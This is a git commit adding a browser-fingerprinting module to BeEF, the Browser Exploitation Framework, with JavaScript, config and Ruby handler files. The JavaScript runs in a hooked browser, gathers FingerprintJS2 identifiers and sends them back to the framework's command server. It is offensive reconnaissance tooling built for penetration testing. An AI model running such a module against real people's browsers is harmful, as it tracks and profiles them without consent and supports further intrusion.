Add Fingerprint Browser module using FingerprintJS2 library

This commit is contained in:
Brendan Coles
2017-04-29 14:19:19 +00:00
parent 686d202efa
commit 923f1d9797
4 changed files with 1396 additions and 0 deletions

View File

@@ -0,0 +1,29 @@
//
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
<%=
begin
f = "#{$root_dir}/modules/browser/fingerprint_browser/fingerprint2.js"
File.read(f)
rescue => e
print_error "[Fingerprint Browser] Could not read file '#{f}': #{e}"
end
%>
try {
new Fingerprint2().get(function(result, components){
beef.debug('[Fingerprint Browser] Result: ' + result);
beef.debug('[Fingerprint Browser] Components: ' + JSON.stringify(components));
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + result + '&components=' + JSON.stringify(components), beef.are.status_success());
});
} catch(e) {
beef.debug('[Fingerprint Browser] Error: ' + e.message);
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + e.message, beef.are.status_error());
}
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
fingerprint_browser:
enable: true
category: "Browser"
name: "Fingerprint Browser"
description: "This module attempts to fingerprint the browser using <a href='https://github.com/Valve/fingerprintjs2'>FingerprintJS2</a>."
authors: ["bcoles"]
target:
working: ["ALL"]

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,19 @@
#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Fingerprint_browser < BeEF::Core::Command
def post_execute
content = {}
content['fingerprint'] = @datastore['fingerprint'] unless @datastore['fingerprint'].nil?
content['components'] = @datastore['components'] unless @datastore['components'].nil?
if content.empty?
content['fail'] = 'Failed to fingerprint browser.'
end
save content
end
end